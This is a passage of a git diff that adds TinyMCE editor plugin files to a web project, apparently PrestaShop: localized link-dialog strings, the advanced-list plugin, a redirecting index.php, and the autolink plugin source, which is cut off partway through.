\u0444\u0440\u0435\u0439\u043c\u0438)","target_parent":"\u0412\u0456\u0434\u043a\u0440\u0438\u0442\u0438 \u0432 \u0431\u0430\u0442\u044c\u043a\u0456\u0432\u0441\u044c\u043a\u043e\u043c\u0443 \u0432\u0456\u043a\u043d\u0456 / \u0444\u0440\u0435\u0439\u043c\u0456","target_same":"\u0412\u0456\u0434\u043a\u0440\u0438\u0442\u0438 \u0432 \u0446\u044c\u043e\u043c\u0443 \u0436 \u0432\u0456\u043a\u043d\u0456 / \u0444\u0440\u0435\u0439\u043c\u0456","anchor_names":"\u042f\u043a\u043e\u0440\u0456","popup_opts":"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456","advanced_props":"\u0420\u043e\u0437\u0448\u0438\u0440\u0435\u043d\u0456 \u0432\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456","event_props":"\u041f\u043e\u0434\u0456\u0457","popup_props":"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0432\u0438\u0440\u0438\u043d\u0430\u044e\u0447\u043e\u0433\u043e \u0432\u0456\u043a\u043d\u0430","general_props":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0456 \u0432\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456","advanced_tab":"\u0414\u043e\u0434\u0430\u0442\u043a\u043e\u0432\u043e","events_tab":"\u041f\u043e\u0434\u0456\u0457","popup_tab":"\u0412\u0438\u0440\u0438\u043d\u0430\u044e\u0447\u0435 \u0432\u0456\u043a\u043d\u043e","general_tab":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435",list:"\u0421\u043f\u0438\u0441\u043e\u043a \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u044c","is_external":"\u0412\u0432\u0435\u0434\u0435\u043d\u0435 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u0441\u0445\u043e\u0436\u0435 \u043d\u0430 \u0437\u043e\u0432\u043d\u0456\u0448\u043d\u0454 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f, \u0432\u0438 \u0431\u0430\u0436\u0430\u0454\u0442\u0435 \u0434\u043e\u0434\u0430\u0442\u0438 \u043f\u043e\u0442\u0440\u0456\u0431\u043d\u0438\u0439 \u043f\u0440\u0435\u0444\u0456\u043a\u0441 http://?","is_email":"\u0412\u0432\u0435\u0434\u0435\u043d\u0435 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u0441\u0445\u043e\u0436\u0435 \u043d\u0430 \u0430\u0434\u0440\u0435\u0441\u0443 \u0435\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0457 \u043f\u043e\u0448\u0442\u0438, \u0432\u0438 \u0431\u0430\u0436\u0430\u0454\u0442\u0435 \u0434\u043e\u0434\u0430\u0442\u0438 \u043f\u043e\u0442\u0440\u0456\u0431\u043d\u0438\u0439 \u043f\u0440\u0435\u0444\u0456\u043a\u0441 mailto:?",titlefield:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",target:"\u0412\u0456\u0434\u043a\u0440\u0438\u0442\u0438 \u0432...",url:"\u0410\u0434\u0440\u0435\u0441\u0430",title:"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f","link_list":"\u0421\u043f\u0438\u0441\u043e\u043a \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u044c",rtl:"\u0421\u043f\u0440\u0430\u0432\u0430 \u043b\u0456\u0432\u043e\u0440\u0443\u0447",ltr:"\u0417\u043b\u0456\u0432\u0430 \u043f\u0440\u0430\u0432\u043e\u0440\u0443\u0447",accesskey:"\u041a\u043b\u0430\u0432\u0456\u0448\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0443",tabindex:"\u0422\u0430\u0431\u0456\u043d\u0434\u0435\u043a\u0441",rev:"\u0417\u0432\'\u044f\u0437\u043e\u043a \u043c\u0456\u0436 \u0446\u0456\u043b\u043b\u044e \u0442\u0430 \u0441\u0442\u043e\u0440\u0456\u043d\u043a\u043e\u044e",rel:"\u0417\u0432\'\u044f\u0437\u043e\u043a \u043c\u0456\u0436 \u0441\u0442\u043e\u0440\u0456\u043d\u043a\u043e\u044e \u0442\u0430 \u0446\u0456\u043b\u043b\u044e",mime:"MIME \u0442\u0438\u043f \u0446\u0456\u043b\u0456",encoding:"\u041a\u043e\u0434\u0443\u0432\u0430\u043d\u043d\u044f \u0446\u0456\u043b\u0456",langcode:"\u041a\u043e\u0434 \u043c\u043e\u0432\u0438","target_langcode":"\u041c\u043e\u0432\u0430 \u0446\u0456\u043b\u0456",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/vi_dlg.js b/js/tiny_mce/plugins/advlink/langs/vi_dlg.js new file mode 100755 index 0000000..01400de --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.advlink_dlg',{"target_name":"T\u00ean \u0111\u00edch",classes:"L\u1edbp",style:"Ki\u1ec3u d\u00e1ng",id:"Id","popup_position":"V\u1ecb tr\u00ed (X/Y)",langdir:"H\u01b0\u1edbng ng\u00f4n ng\u1eef","popup_size":"K\u00edch th\u01b0\u1edbc","popup_dependent":"Ph\u1ee5 thu\u1ed9c (ch\u1ec9 Mozilla/Firefox)","popup_resizable":"L\u00e0m cho c\u1eeda s\u1ed5 c\u00f3 th\u1ec3 thay \u0111\u1ed5i k\u00edch c\u1ee1","popup_location":"Hi\u1ec7n th\u1ecb thanh v\u1ecb tr\u00ed","popup_menubar":"Hi\u1ec3n th\u1ecb thanh th\u1ef1c \u0111\u01a1n","popup_toolbar":"Hi\u1ec7n th\u1ecb thanh c\u00f4ng c\u1ee5","popup_statusbar":"Hi\u1ec7n th\u1ecb thanh tr\u1ea1ng th\u00e1i","popup_scrollbars":"Hi\u1ec3n th\u1ecb thanh cu\u1ed9n","popup_return":"Ch\u00e8n \'return false\'","popup_name":"T\u00ean c\u1eeda s\u1ed5","popup_url":"URL b\u1eadt l\u00ean",popup:"Javascript b\u1eadt l\u00ean","target_blank":"M\u1edf trong c\u1eeda s\u1ed5 m\u1edbi","target_top":"M\u1edf trong khung tr\u00ean c\u00f9ng (thay th\u1ebf t\u1ea5t c\u00e1c khung)","target_parent":"M\u1edf trong c\u1eeda s\u1ed5/khung cha","target_same":"M\u1edf trong c\u1eeda s\u1ed5/khung n\u00e0y","anchor_names":"M\u1ecf neo","popup_opts":"T\u00f9y ch\u1ecdn","advanced_props":"Thu\u1ed9c t\u00ednh n\u00e2ng cao","event_props":"S\u1ef1 ki\u1ec7n","popup_props":"Thu\u1ed9c t\u00ednh b\u1eadt l\u00ean","general_props":"Thu\u1ed9c t\u00ednh chung","advanced_tab":"N\u00e2ng cao","events_tab":"S\u1ef1 ki\u1ec7n","popup_tab":"B\u1eadt l\u00ean","general_tab":"Chung",list:"Danh s\u00e1ch li\u00ean k\u1ebft","is_external":"URL b\u1ea1n \u0111\u00e3 nh\u1eadp c\u00f3 v\u1ebb l\u00e0 m\u1ed9t li\u00ean k\u1ebft ngo\u00e0i, b\u1ea1n c\u00f3 mu\u1ed1n th\u00eam ti\u1ec1n t\u1ed1 http://?","is_email":"URL b\u1ea1n \u0111\u00e3 nh\u1eadp c\u00f3 v\u1ebb l\u00e0 m\u1ed9t \u0111\u1ecba ch\u1ec9 \u0111i\u1ec7n th\u01b0, B\u1ea1n c\u00f3 mu\u1ed1n th\u00eam ti\u1ec1n t\u1ed1 mailto?",titlefield:"Ti\u00eau \u0111\u1ec1",target:"\u0110\u00edch",url:"URL Li\u00ean k\u1ebft",title:"Th\u00eam/S\u1eeda Li\u00ean k\u1ebft","link_list":"Danh s\u00e1ch li\u00ean k\u1ebft",rtl:"Ph\u1ea3i qua tr\u00e1i",ltr:"Tr\u00e1i qua ph\u1ea3i",accesskey:"Ph\u00edm truy c\u1eadp",tabindex:"Ch\u1ec9 m\u1ee5c th\u1ebb",rev:"\u0110\u00edch li\u00ean quan t\u1edbi trang",rel:"Trang li\u00ean quan t\u1edbi \u0111\u00edch",mime:"Ki\u1ec3u MIME \u0111\u00edch",encoding:"M\u00e3 h\u00f3a k\u00fd t\u1ef1 \u0111\u00edch",langcode:"M\u00e3 ng\u00f4n ng\u1eef","target_langcode":"Ng\u00f4n ng\u1eef \u0111\u00edch",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/zh-cn_dlg.js b/js/tiny_mce/plugins/advlink/langs/zh-cn_dlg.js new file mode 100755 index 0000000..fb228f5 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.advlink_dlg',{"target_name":"\u76ee\u6807\u540d\u79f0",classes:"\u7c7b\u522b",style:"\u6837\u5f0f",id:"ID","popup_position":"\u4f4d\u7f6e(X/Y)",langdir:"\u8bed\u8a00\u4e66\u5199\u65b9\u5411","popup_size":"\u5927\u5c0f","popup_dependent":"\u9650\u5236(\u4ec5\u652f\u6301Mozilla/Firefox)","popup_resizable":"\u7a97\u53e3\u53ef\u8c03\u6574\u5927\u5c0f","popup_location":"\u663e\u793a\u5730\u5740\u680f","popup_menubar":"\u663e\u793a\u83dc\u5355\u680f","popup_toolbar":"\u663e\u793a\u5de5\u5177\u680f","popup_statusbar":"\u663e\u793a\u72b6\u6001\u680f","popup_scrollbars":"\u663e\u793a\u6eda\u52a8\u6761","popup_return":"\u63d2\u5165\'return false\'","popup_name":"\u7a97\u53e3\u540d\u79f0","popup_url":"\u5f39\u51faURL",popup:"Javascript\u5f39\u7a97","target_blank":"\u5728\u65b0\u7a97\u53e3\u6253\u5f00","target_top":"\u5728\u9876\u90e8\u6846\u67b6\u6253\u5f00\uff08\u91cd\u7f6e\u6240\u6709\u6846\u67b6\uff09","target_parent":"\u5728\u7236\u7a97\u53e3/\u6846\u67b6\u6253\u5f00","target_same":"\u5728\u5f53\u524d\u7a97\u53e3/\u6846\u67b6\u6253\u5f00","anchor_names":"\u951a","popup_opts":"\u9009\u9879","advanced_props":"\u9ad8\u7ea7\u5c5e\u6027","event_props":"\u4e8b\u4ef6","popup_props":"\u5f39\u51fa\u5c5e\u6027","general_props":"\u666e\u901a\u5c5e\u6027","advanced_tab":"\u9ad8\u7ea7","events_tab":"\u4e8b\u4ef6","popup_tab":"\u5f39\u51fa","general_tab":"\u666e\u901a",list:"\u94fe\u63a5\u5217\u8868","is_external":"\u60a8\u8f93\u5165\u7684URL\u662f\u4e00\u4e2a\u5916\u90e8\u94fe\u63a5\uff0c\u662f\u5426\u8981\u52a0\u4e0a\"http://\"\u524d\u7f00\uff1f","is_email":"\u60a8\u8f93\u5165URL\u662f\u7535\u5b50\u90ae\u4ef6\u5730\u5740\uff0c\u662f\u5426\u9700\u8981\u52a0\"mailto:\"\u524d\u7f00\uff1f",titlefield:"\u6807\u9898",target:"\u6253\u5f00\u65b9\u5f0f",url:"\u8d85\u94fe\u63a5URL",title:"\u63d2\u5165/\u7f16\u8f91 \u8d85\u94fe\u63a5","link_list":"\u94fe\u63a5\u5217\u8868",rtl:"\u4ece\u53f3\u5230\u5de6",ltr:"\u4ece\u5de6\u5230\u53f3",accesskey:"\u5feb\u6377\u952e",tabindex:"Tab\u7d22\u5f15",rev:"\u76ee\u6807\u5230\u7f51\u9875\u7684\u5173\u7cfb",rel:"\u7f51\u9875\u5230\u76ee\u6807\u7684\u5173\u7cfb",mime:"\u76ee\u6807MIME\u7c7b\u578b",encoding:"\u76ee\u6807\u8bed\u8a00\u7f16\u7801",langcode:"\u8bed\u8a00\u7f16\u7801","target_langcode":"\u76ee\u6807\u8bed\u8a00",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/zh-tw_dlg.js b/js/tiny_mce/plugins/advlink/langs/zh-tw_dlg.js new file mode 100755 index 0000000..5681939 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.advlink_dlg',{"target_name":"\u76ee\u6a19\u540d\u7a31",classes:"\u985e\u5225 (Class)",style:"\u6a23\u5f0f",id:"\u9023\u7d50\u7684 ID","popup_position":"\u4f4d\u7f6e (X/Y)",langdir:"\u66f8\u5beb\u65b9\u5411","popup_size":"\u5927\u5c0f","popup_dependent":"\u9650\u5236 (\u50c5 Firefox \u652f\u63f4)","popup_resizable":"\u53ef\u4ee5\u8abf\u6574\u8996\u7a97\u5927\u5c0f","popup_location":"\u986f\u793a\u7db2\u5740\u5217","popup_menubar":"\u986f\u793a\u7a0b\u5f0f\u9078\u55ae","popup_toolbar":"\u986f\u793a\u5de5\u5177\u5217","popup_statusbar":"\u986f\u793a\u72c0\u614b\u5217","popup_scrollbars":"\u986f\u793a\u7db2\u9801\u6372\u8ef8","popup_return":"\u52a0\u5165\u4e00\u500b Javascript Return False \u8a9e\u6cd5","popup_name":"\u8996\u7a97\u540d\u7a31","popup_url":"\u5f48\u8df3\u8996\u7a97\u7684\u7db2\u5740",popup:"\u4f7f\u7528 Javascript \u7a0b\u5f0f\u8a9e\u8a00\u505a\u5f48\u8df3\u6548\u679c","target_blank":"\u958b\u4e00\u500b\u65b0\u8996\u7a97","target_top":"\u76f4\u63a5\u958b\u555f (\u6846\u67b6\u4e5f\u84cb\u6389)","target_parent":"\u958b\u5728\u4e3b\u8981\u756b\u9762","target_same":"\u76f4\u63a5\u958b\u555f","anchor_names":"\u9328\u9ede (\u66f8\u7c64)","popup_opts":"\u9078\u9805","advanced_props":"\u66f4\u591a\u8a2d\u5b9a","event_props":"\u4e8b\u4ef6","popup_props":"\u5f48\u8df3\u8a2d\u5b9a","general_props":"\u4e00\u822c","advanced_tab":"\u66f4\u591a","events_tab":"\u7a0b\u5f0f\u4e8b\u4ef6","popup_tab":"\u5f48\u8df3\u8996\u7a97","general_tab":"\u4e00\u822c",list:"\u9023\u7d50\u6e05\u55ae","is_external":"\u60a8\u7684\u7db2\u5740\u5c11\u597d\u50cf\u52a0\u5165\u4e00\u500b http:// \u8a9e\u6cd5\uff0c\u8981\u5e6b\u60a8\u4fee\u6b63\u55ce\uff1f","is_email":"\u60a8\u7684 E-Mail \u5c11\u597d\u50cf\u52a0\u5165\u4e00\u500b mailto: \u8a9e\u6cd5\uff0c\u8981\u5e6b\u60a8\u4fee\u6b63\u55ce\uff1f",titlefield:"\u6a19\u984c",target:"\u958b\u555f\u65b9\u5f0f",url:"\u9023\u7d50 URL",title:"\u52a0\u5165 / \u7de8\u8f2f\u7db2\u5740\u9023\u7d50","link_list":"\u9023\u7d50\u6e05\u55ae",rtl:"\u5f9e\u53f3\u908a\u5230\u5de6\u908a",ltr:"\u5f9e\u5de6\u908a\u5230\u53f3\u908a",accesskey:"HTML \u5feb\u901f\u9375",tabindex:"Tab \u7d22\u5f15\u4f4d\u7f6e (Tabindex)",rev:"\u9023\u7d50\u8207\u7db2\u9801\u7684\u95dc\u4fc2",rel:"\u7db2\u9801\u8207\u9023\u7d50\u7684\u95dc\u4fc2",mime:"\u9023\u7d50\u7684 MIME \u985e\u578b",encoding:"\u9023\u7d50\u4e2d\u7684\u5b57\u5143\u7de8\u78bc",langcode:"\u8a9e\u7cfb\u4ee3\u865f","target_langcode":"\u9023\u7d50\u7684\u8a9e\u8a00",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/link.htm b/js/tiny_mce/plugins/advlink/link.htm new file mode 100755 index 0000000..52623ab --- /dev/null +++ b/js/tiny_mce/plugins/advlink/link.htm @@ -0,0 +1,338 @@ + + + + {#advlink_dlg.title} + + + + + + + + + +
    + + + + +
    + + +
    +
    + + diff --git a/js/tiny_mce/plugins/advlist/editor_plugin.js b/js/tiny_mce/plugins/advlist/editor_plugin.js new file mode 100755 index 0000000..57ecce6 --- /dev/null +++ b/js/tiny_mce/plugins/advlist/editor_plugin.js @@ -0,0 +1 @@ +(function(){var a=tinymce.each;tinymce.create("tinymce.plugins.AdvListPlugin",{init:function(b,c){var d=this;d.editor=b;function e(g){var f=[];a(g.split(/,/),function(h){f.push({title:"advlist."+(h=="default"?"def":h.replace(/-/g,"_")),styles:{listStyleType:h=="default"?"":h}})});return f}d.numlist=b.getParam("advlist_number_styles")||e("default,lower-alpha,lower-greek,lower-roman,upper-alpha,upper-roman");d.bullist=b.getParam("advlist_bullet_styles")||e("default,circle,disc,square");if(tinymce.isIE&&/MSIE [2-7]/.test(navigator.userAgent)){d.isIE7=true}},createControl:function(d,b){var f=this,e,i,g=f.editor;if(d=="numlist"||d=="bullist"){if(f[d][0].title=="advlist.def"){i=f[d][0]}function c(j,l){var k=true;a(l.styles,function(n,m){if(g.dom.getStyle(j,m)!=n){k=false;return false}});return k}function h(){var k,l=g.dom,j=g.selection;k=l.getParent(j.getNode(),"ol,ul");if(!k||k.nodeName==(d=="bullist"?"OL":"UL")||c(k,i)){g.execCommand(d=="bullist"?"InsertUnorderedList":"InsertOrderedList")}if(i){k=l.getParent(j.getNode(),"ol,ul");if(k){l.setStyles(k,i.styles);k.removeAttribute("data-mce-style")}}g.focus()}e=b.createSplitButton(d,{title:"advanced."+d+"_desc","class":"mce_"+d,onclick:function(){h()}});e.onRenderMenu.add(function(j,k){k.onHideMenu.add(function(){if(f.bookmark){g.selection.moveToBookmark(f.bookmark);f.bookmark=0}});k.onShowMenu.add(function(){var n=g.dom,m=n.getParent(g.selection.getNode(),"ol,ul"),l;if(m||i){l=f[d];a(k.items,function(o){var p=true;o.setSelected(0);if(m&&!o.isDisabled()){a(l,function(q){if(q.id==o.id){if(!c(m,q)){p=false;return false}}});if(p){o.setSelected(1)}}});if(!m){k.items[i.id].setSelected(1)}}g.focus();if(tinymce.isIE){f.bookmark=g.selection.getBookmark(1)}});k.add({id:g.dom.uniqueId(),title:"advlist.types","class":"mceMenuItemTitle",titleItem:true}).setDisabled(1);a(f[d],function(l){if(f.isIE7&&l.styles.listStyleType=="lower-greek"){return}l.id=g.dom.uniqueId();k.add({id:l.id,title:l.title,onclick:function(){i=l;h()}})})});return e}},getInfo:function(){return{longname:"Advanced lists",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advlist",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("advlist",tinymce.plugins.AdvListPlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlist/editor_plugin_src.js b/js/tiny_mce/plugins/advlist/editor_plugin_src.js new file mode 100755 index 0000000..4ee4d34 --- /dev/null +++ b/js/tiny_mce/plugins/advlist/editor_plugin_src.js @@ -0,0 +1,176 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var each = tinymce.each; + + tinymce.create('tinymce.plugins.AdvListPlugin', { + init : function(ed, url) { + var t = this; + + t.editor = ed; + + function buildFormats(str) { + var formats = []; + + each(str.split(/,/), function(type) { + formats.push({ + title : 'advlist.' + (type == 'default' ? 'def' : type.replace(/-/g, '_')), + styles : { + listStyleType : type == 'default' ? '' : type + } + }); + }); + + return formats; + }; + + // Setup number formats from config or default + t.numlist = ed.getParam("advlist_number_styles") || buildFormats("default,lower-alpha,lower-greek,lower-roman,upper-alpha,upper-roman"); + t.bullist = ed.getParam("advlist_bullet_styles") || buildFormats("default,circle,disc,square"); + + if (tinymce.isIE && /MSIE [2-7]/.test(navigator.userAgent)) + t.isIE7 = true; + }, + + createControl: function(name, cm) { + var t = this, btn, format, editor = t.editor; + + if (name == 'numlist' || name == 'bullist') { + // Default to first item if it's a default item + if (t[name][0].title == 'advlist.def') + format = t[name][0]; + + function hasFormat(node, format) { + var state = true; + + each(format.styles, function(value, name) { + // Format doesn't match + if (editor.dom.getStyle(node, name) != value) { + state = false; + return false; + } + }); + + return state; + }; + + function applyListFormat() { + var list, dom = editor.dom, sel = editor.selection; + + // Check for existing list element + list = dom.getParent(sel.getNode(), 'ol,ul'); + + // Switch/add list type if needed + if (!list || list.nodeName == (name == 'bullist' ? 'OL' : 'UL') || hasFormat(list, format)) + editor.execCommand(name == 'bullist' ? 'InsertUnorderedList' : 'InsertOrderedList'); + + // Append styles to new list element + if (format) { + list = dom.getParent(sel.getNode(), 'ol,ul'); + if (list) { + dom.setStyles(list, format.styles); + list.removeAttribute('data-mce-style'); + } + } + + editor.focus(); + }; + + btn = cm.createSplitButton(name, { + title : 'advanced.' + name + '_desc', + 'class' : 'mce_' + name, + onclick : function() { + applyListFormat(); + } + }); + + btn.onRenderMenu.add(function(btn, menu) { + menu.onHideMenu.add(function() { + if (t.bookmark) { + editor.selection.moveToBookmark(t.bookmark); + t.bookmark = 0; + } + }); + + menu.onShowMenu.add(function() { + var dom = editor.dom, list = dom.getParent(editor.selection.getNode(), 'ol,ul'), fmtList; + + if (list || format) { + fmtList = t[name]; + + // Unselect existing items + each(menu.items, function(item) { + var state = true; + + item.setSelected(0); + + if (list && !item.isDisabled()) { + each(fmtList, function(fmt) { + if (fmt.id == item.id) { + if (!hasFormat(list, fmt)) { + state = false; + return false; + } + } + }); + + if (state) + item.setSelected(1); + } + }); + + // Select the current format + if (!list) + menu.items[format.id].setSelected(1); + } + + editor.focus(); + + // IE looses it's selection so store it away and restore it later + if (tinymce.isIE) { + t.bookmark = editor.selection.getBookmark(1); + } + }); + + menu.add({id : editor.dom.uniqueId(), title : 'advlist.types', 'class' : 'mceMenuItemTitle', titleItem: true}).setDisabled(1); + + each(t[name], function(item) { + // IE<8 doesn't support lower-greek, skip it + if (t.isIE7 && item.styles.listStyleType == 'lower-greek') + return; + + item.id = editor.dom.uniqueId(); + + menu.add({id : item.id, title : item.title, onclick : function() { + format = item; + applyListFormat(); + }}); + }); + }); + + return btn; + } + }, + + getInfo : function() { + return { + longname : 'Advanced lists', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advlist', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('advlist', tinymce.plugins.AdvListPlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlist/index.php b/js/tiny_mce/plugins/advlist/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/advlist/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/autolink/editor_plugin.js b/js/tiny_mce/plugins/autolink/editor_plugin.js new file mode 100755 index 0000000..fd293dc --- /dev/null +++ b/js/tiny_mce/plugins/autolink/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.AutolinkPlugin",{init:function(a,b){var c=this;if(tinyMCE.isIE){return}a.onKeyDown.add(function(d,f){if(f.keyCode==13){return c.handleEnter(d)}});a.onKeyPress.add(function(d,f){if(f.which==41){return c.handleEclipse(d)}});a.onKeyUp.add(function(d,f){if(f.keyCode==32){return c.handleSpacebar(d)}})},handleEclipse:function(a){this.parseCurrentLine(a,-1,"(",true)},handleSpacebar:function(a){this.parseCurrentLine(a,0,"",true)},handleEnter:function(a){this.parseCurrentLine(a,-1,"",false)},parseCurrentLine:function(i,d,b,g){var a,f,c,n,k,m,h,e,j;a=i.selection.getRng().cloneRange();if(a.startOffset<5){e=a.endContainer.previousSibling;if(e==null){if(a.endContainer.firstChild==null||a.endContainer.firstChild.nextSibling==null){return}e=a.endContainer.firstChild.nextSibling}j=e.length;a.setStart(e,j);a.setEnd(e,j);if(a.endOffset<5){return}f=a.endOffset;n=e}else{n=a.endContainer;if(n.nodeType!=3&&n.firstChild){while(n.nodeType!=3&&n.firstChild){n=n.firstChild}a.setStart(n,0);a.setEnd(n,n.nodeValue.length)}if(a.endOffset==1){f=2}else{f=a.endOffset-1-d}}c=f;do{a.setStart(n,f-2);a.setEnd(n,f-1);f-=1}while(a.toString()!=" "&&a.toString()!=""&&a.toString().charCodeAt(0)!=160&&(f-2)>=0&&a.toString()!=b);if(a.toString()==b||a.toString().charCodeAt(0)==160){a.setStart(n,f);a.setEnd(n,c);f+=1}else{if(a.startOffset==0){a.setStart(n,0);a.setEnd(n,c)}else{a.setStart(n,f);a.setEnd(n,c)}}m=a.toString();h=m.match(/^(https?:\/\/|ssh:\/\/|ftp:\/\/|file:\/|www\.)(.+)$/i);if(h){if(h[1]=="www."){h[1]="http://www."}k=i.selection.getBookmark();i.selection.setRng(a);tinyMCE.execCommand("createlink",false,h[1]+h[2]);i.selection.moveToBookmark(k);if(tinyMCE.isWebKit){i.selection.collapse(false);var l=Math.min(n.length,c+1);a.setStart(n,l);a.setEnd(n,l);i.selection.setRng(a)}}},getInfo:function(){return{longname:"Autolink",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autolink",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("autolink",tinymce.plugins.AutolinkPlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/autolink/editor_plugin_src.js b/js/tiny_mce/plugins/autolink/editor_plugin_src.js new file mode 100755 index 0000000..604da8b --- /dev/null +++ b/js/tiny_mce/plugins/autolink/editor_plugin_src.js @@ -0,0 +1,172 @@ +/** + * editor_plugin_src.js + * + * Copyright 2011, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.AutolinkPlugin', { + /** + * Initializes the plugin, this will be executed after the plugin has been created. + * This call is done before the editor instance has finished it's initialization so use the onInit event + * of the editor instance to intercept that event. + * + * @param {tinymce.Editor} ed Editor instance that the plugin is initialized in. + * @param {string} url Absolute URL to where the plugin is located. + */ + + init : function(ed, url) { + var t = this; + + // Internet Explorer has built-in automatic linking + if (tinyMCE.isIE) + return; + + // Add a key down handler + ed.onKeyDown.add(function(ed, e) { + if (e.keyCode == 13) + return t.handleEnter(ed); + }); + + ed.onKeyPress.add(function(ed, e) { + if (e.which == 41) + return t.handleEclipse(ed); + }); + + // Add a key up handler + ed.onKeyUp.add(function(ed, e) { + if (e.keyCode == 32) + return t.handleSpacebar(ed); + }); + }, + + handleEclipse : function(ed) { + this.parseCurrentLine(ed, -1, '(', true); + }, + + handleSpacebar : function(ed) { + this.parseCurrentLine(ed, 0, '', true); + }, + + handleEnter : function(ed) { + this.parseCurrentLine(ed, -1, '', false); + }, + + parseCurrentLine : function(ed, end_offset, delimiter, goback) { + var r, end, start, endContainer, bookmark, text, matches, prev, len; + + // We need at least five characters to form a URL, + // hence, at minimum, five characters from the beginning of the line. + r = ed.selection.getRng().cloneRange(); + if (r.startOffset < 5) { + // During testing, the caret is placed inbetween two text nodes. + // The previous text node contains the URL. + prev = r.endContainer.previousSibling; + if (prev == null) { + if (r.endContainer.firstChild == null || r.endContainer.firstChild.nextSibling == null) + return; + + prev = r.endContainer.firstChild.nextSibling; + } + len = prev.length; + r.setStart(prev, len); + r.setEnd(prev, len); + + if (r.endOffset < 5) + return; + + end = r.endOffset; + endContainer = prev; + } else { + endContainer = r.endContainer; + + // Get a text node + if (endContainer.nodeType != 3 && endContainer.firstChild) { + while (endContainer.nodeType != 3 && endContainer.firstChild) + endContainer = endContainer.firstChild; + + r.setStart(endContainer, 0); + r.setEnd(endContainer, endContainer.nodeValue.length); + } + + if (r.endOffset == 1) + end = 2; + else + end = r.endOffset - 1 - end_offset; + } + + start = end; + + do + { + // Move the selection one character backwards. + r.setStart(endContainer, end - 2); + r.setEnd(endContainer, end - 1); + end -= 1; + + // Loop until one of the following is found: a blank space,  , delimeter, (end-2) >= 0 + } while (r.toString() != ' ' && r.toString() != '' && r.toString().charCodeAt(0) != 160 && (end -2) >= 0 && r.toString() != delimiter); + + if (r.toString() == delimiter || r.toString().charCodeAt(0) == 160) { + r.setStart(endContainer, end); + r.setEnd(endContainer, start); + end += 1; + } else if (r.startOffset == 0) { + r.setStart(endContainer, 0); + r.setEnd(endContainer, start); + } + else { + r.setStart(endContainer, end); + r.setEnd(endContainer, start); + } + + text = r.toString(); + matches = text.match(/^(https?:\/\/|ssh:\/\/|ftp:\/\/|file:\/|www\.)(.+)$/i); + + if (matches) { + if (matches[1] == 'www.') { + matches[1] = 'http://www.'; + } + + bookmark = ed.selection.getBookmark(); + + ed.selection.setRng(r); + tinyMCE.execCommand('createlink',false, matches[1] + matches[2]); + ed.selection.moveToBookmark(bookmark); + + // TODO: Determine if this is still needed. + if (tinyMCE.isWebKit) { + // move the caret to its original position + ed.selection.collapse(false); + var max = Math.min(endContainer.length, start + 1); + r.setStart(endContainer, max); + r.setEnd(endContainer, max); + ed.selection.setRng(r); + } + } 